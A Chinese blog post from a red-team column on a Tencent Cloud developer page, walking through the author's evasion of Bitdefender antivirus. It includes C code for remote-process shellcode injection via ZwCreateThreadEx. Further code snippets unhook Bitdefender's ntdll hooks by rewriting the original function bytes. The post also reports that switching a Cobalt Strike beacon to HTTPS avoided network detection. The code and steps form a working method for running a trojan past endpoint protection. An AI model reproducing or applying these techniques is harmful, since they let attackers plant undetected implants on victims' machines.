前往小程序,Get更优阅读体验!
立即前往
首页
学习
活动
专区
工具
TVP
发布
社区首页 >专栏 >bypass Bitdefender

bypass Bitdefender

原创
作者头像
红队蓝军
发布2022-04-18 13:31:16
5940
发布2022-04-18 13:31:16
举报
文章被收录于专栏:红队蓝军红队蓝军

渗透时,可能会遇到各种各样的的杀软,但每个杀软特性不同,在绕过前,往往都需要分析,本文就Bitdefender进行分析

最近在研究如何免杀,写了一个马,火绒 360 成功绕过(图有点少,当时没存,火绒测试是用的同学的物理机,两台,还有一台没截图;360是虚拟机)

image.png
image.png
BP%)8DKTNCE7AQSQ7R5$NMX.png
BP%)8DKTNCE7AQSQ7R5$NMX.png

然后看到Askar大佬的文章,决定试试绕过Bitdenfender,先运行一下,说不定也过了呢(痴心妄想)

结果一运行,连马也给我删了,看看Bitdefender是如何检测的

image.png
image.png

检查我的exe,通过x64debug去调试:

image.png
image.png

发现这里竟然多了一个"atcuf64.dll",而且是Bitdefender的,这非常可疑,大概率是来检查我的行为的,很有可能是Hook我的API,这里看一下我的马用到了哪些API

代码语言:c
复制
DWORD CeatRemoThread(DWORD pid)
{
	HANDLE hThread;
	DWORD dwOldProtect;
	DWORD dwThreadId;
	int shellcode_size = sizeof(buf);
	char* newBuf;

	decrypt(buf, shellcode_size, (LPVOID*)&newBuf);   //jiemi

	HANDLE hHandle = OpenProcess(PROCESS_ALL_ACCESS, false, pid);
	if (hHandle == NULL)
	{
		printf("openprocessError");
		free(newBuf);
		return FALSE;
	}
	LPVOID Memory = VirtualAllocEx(hHandle, NULL, sizeof(newBuf) + 1, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);

	SIZE_T dwSize = 0;
	WriteProcessMemory(hHandle, Memory, newBuf, shellcode_size / 3, &dwSize);
	Sleep(3000);
	VirtualProtectEx(hHandle, Memory, shellcode_size / 3, PAGE_EXECUTE, &dwOldProtect);


	HMODULE hNtdll = LoadLibrary(L"ntdll.dll");
	if (hNtdll == NULL)
	{
		printf("[!] LoadNTdll Error,Error is:%d\n", GetLastError());
		return FALSE;
	}
	else
	{
		printf("[*] Load ntdll.dll Successfully!\n");
	}
#ifdef _WIN64
	typedef DWORD(WINAPI* typedef_ZwCreateThreadEx)(
		PHANDLE ThreadHandle,
		ACCESS_MASK DesiredAccess,
		LPVOID ObjectAttributes,
		HANDLE ProcessHandle,
		LPTHREAD_START_ROUTINE lpStartAddress,
		LPVOID lpParameter,
		ULONG CreateThreadFlags,
		SIZE_T ZeroBits,
		SIZE_T StackSize,
		SIZE_T MaximumStackSize,
		LPVOID pUnkown
		);
#else
	typedef DWORD(WINAPI* typedef_ZwCreateThreadEx)(
		PHANDLE ThreadHandle,
		ACCESS_MASK DesiredAccess,
		LPVOID ObjectAttributes,
		HANDLE ProcessHandle,
		LPTHREAD_START_ROUTINE lpStartAddress,
		LPVOID lpParameter,
		BOOL CreateSuspended,
		DWORD dwStackSize,
		DWORD dw1,
		DWORD dw2,
		LPVOID pUnkown
		);
#endif 
	typedef_ZwCreateThreadEx ZwCreateThreadEx = NULL;
	ZwCreateThreadEx = (typedef_ZwCreateThreadEx)::GetProcAddress(hNtdll, "ZwCreateThreadEx");

	if (ZwCreateThreadEx == NULL)
	{
		printf("[!] Get ZwCreateThreadEx Address Error,Error is:%d\n", GetLastError());
		return FALSE;
	}
	else
	{
		printf("[*] Get ZwCreateThreadEx Address Successfully! Address is %x\n", ZwCreateThreadEx);
	}
	HANDLE hRemoteThread = NULL;
	DWORD ZwRet = 0;
	ZwRet = ZwCreateThreadEx(&hRemoteThread, PROCESS_ALL_ACCESS, NULL, hHandle,
		(LPTHREAD_START_ROUTINE)Memory, NULL, 0, 0, 0, 0, NULL);

	if (hRemoteThread == NULL)
	{
		printf("[!] Creat RemoteThread Error,Error is:%d\n", GetLastError());
		getchar();
		VirtualFreeEx(hHandle, Memory, 0, MEM_RELEASE);
		CloseHandle(hHandle);
		FreeLibrary(hNtdll);
		return FALSE;
	}

	WaitForSingleObject(hRemoteThread, INFINITE);

	return TRUE;
}

先把杀软喜欢检测的拿出来 VirtualAllocEx WriteProcessMemory ZwCreateThreadEx

这里可以看到我的ZwCreateThreadEx是动态加载的,而且较为底层,先看看WriteProcessMemory,是否被钩住了

使用disasm WriteProcessMemory找到这个API

image.png
image.png

跟进去看看,这里是比WriteProcessMemory更为底层的NtWriteVirtualMemory

image.png
image.png

跟进去看看!

image.png
image.png

似乎是被钩住了,看看本来NtWriteVirtualMemory的样子

image.png
image.png

这里证明确实是被Bitdefender的那个atcuf64.dll钩住了,会发送到这个dll中那里进行检查,监控

这里我希望进行一个unhook的操作,把他E9的4个字节,包括E9还原成原来的硬编码,原来的硬编码为:

4C 8B D1 B8 3A

image.png
image.png

这里更新自己的代码,动态获取NtWriteVirtualMemory的地址并unhook

代码语言:c
复制
HMODULE hNtdll = LoadLibrary(L"ntdll.dll");
LPVOID NtWriteVirtualMemory_Address = GetProcAddress(hNtdll, "NtWriteVirtualMemory");
printf("[*] NtWriteVirtualMemory address is : %p\n", NtWriteVirtualMemory_Address);
if (WriteProcessMemory(GetCurrentProcess(), NtWriteVirtualMemory_Address, "\x4C\x8B\xD1\xB8\x3A", 5, NULL)) {
printf("[*] NtWriteVirtualMemory unhook done!\n");

当我单步执行到unhook done后,看到NtWriteVirtualMemory确实已经复原,unhook成功了!

image.png
image.png

再看VirtualAllocEx 似乎并没有被hook

image.png
image.png

先放到一边

再看ZwCreateThreadEx,这个底层的函数同样被hook了

image.png
image.png
image.png
image.png

同样的,我们unhook,改为原来的硬编码 4C 8B D1 B8 C1

代码新增:

代码语言:c
复制
typedef_ZwCreateThreadEx ZwCreateThreadEx = NULL;
	ZwCreateThreadEx = (typedef_ZwCreateThreadEx)::GetProcAddress(hNtdll, "ZwCreateThreadEx");
	if (WriteProcessMemory(GetCurrentProcess(), ZwCreateThreadEx, "\x4C\x8B\xD1\xB8\xC1", 5, NULL)) {
		printf("[*] ZwCreateThreadEx unhooking done!\n");
	}

看看效果

image.png
image.png

也已经恢复为原来的硬编码

直接运行试试,应该是可以了,但是运行发现还是被拦截了

image.png
image.png

很难受,但是我发现这里报的毒已经跟之前的不一样了,并且我的马并没有被删!这表明Bitdenfender认为我的exe没有问题,他这里报毒指的是explorer中有cs的马,这属于绕过内存扫描的内容,hook层面已经绕过完成(了吗?)

image.png
image.png

我一开始以为是动态扫描出我的马,但我发现Bitdefender的反应很快,我想到卡巴斯基,马可以上线大概5秒,毕竟扫描也需要时间,但为什么这里一瞬间就挂了,我猜想是Bitdefender监控到了explorer有特殊的行为,或者什么东西操纵了它,一看我调用的API,openprocess这个API很明显,我猜想是不是Bitdefender监控到了我打开过explorer,想到这里我有些激动,一看,果然被挂钩了!

image.png
image.png

尝试unhook,硬编码为4C 8B D1 B8 26

代码:

代码语言:c
复制
LPVOID ZwOpenProcess_Address = GetProcAddress(hNtdll, "ZwOpenProcess");

	printf("[*] ZwOpenProcess address is : %p\n", ZwOpenProcess_Address);

	if (WriteProcessMemory(GetCurrentProcess(), ZwOpenProcess_Address, "\x4C\x8B\xD1\xB8\x26", 5, NULL)) {
		printf("[*] ZwOpenProcess unhooking done!\n");
	}

unhook成功:

image.png
image.png

再测试发现依然没过,这里有点尴尬,重新回来审视报毒

image.png
image.png

我打码的部分是我的ip,英文我也不怎么看的懂,web什么的,他又把ip标记出来,也许是不是内存扫描,是检测到有通信的流量,应该是防火墙

image.png
image.png

反向shell是没有问题,问题是cs太过于出名,他的payload很容易就被识别出来

想了一天,自己构建payload确实超出我的能力,晚上的时候看了下cs还有哪些beacon,突然想到https不是相对于http更加安全吗,是否可以帮助我们绕过,直接上图,成功了!

image.png
image.png
image.png
image.png

我又重新使用http的beacon的payload测试一下,直接给我杀了

image.png
image.png

总结一下这几天绕过杀软的心得:

国产的杀软先不说了,卡巴斯基我在分析的时候发现他似乎并没有hook API,包括静态检测这些方面甚至我不用混淆都能过,但是他的动态扫描内存却是非常头疼的,而Bitdenfender是hook API并且监控敏感流量,但运行过后就没扫描内存,各种杀软都有他们各自擅长的领域,但不可能每个方面都兼顾。要有更好的效果,就没有好的性能。

原创声明:本文系作者授权腾讯云开发者社区发表,未经许可,不得转载。

如有侵权,请联系 cloudcommunity@tencent.com 删除。

原创声明:本文系作者授权腾讯云开发者社区发表,未经许可,不得转载。

如有侵权,请联系 cloudcommunity@tencent.com 删除。

评论
登录后参与评论
0 条评论
热度
最新
推荐阅读
相关产品与服务
网站渗透测试
网站渗透测试(Website Penetration Test,WPT)是完全模拟黑客可能使用的攻击技术和漏洞发现技术,对目标系统的安全做深入的探测,发现系统最脆弱的环节。渗透测试和黑客入侵最大区别在于渗透测试是经过客户授权,采用可控制、非破坏性质的方法和手段发现目标和网络设备中存在弱点,帮助管理者知道自己网络所面临的问题,同时提供安全加固意见帮助客户提升系统的安全性。腾讯云网站渗透测试由腾讯安全实验室安全专家进行,我们提供黑盒、白盒、灰盒多种测试方案,更全面更深入的发现客户的潜在风险。
领券
问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档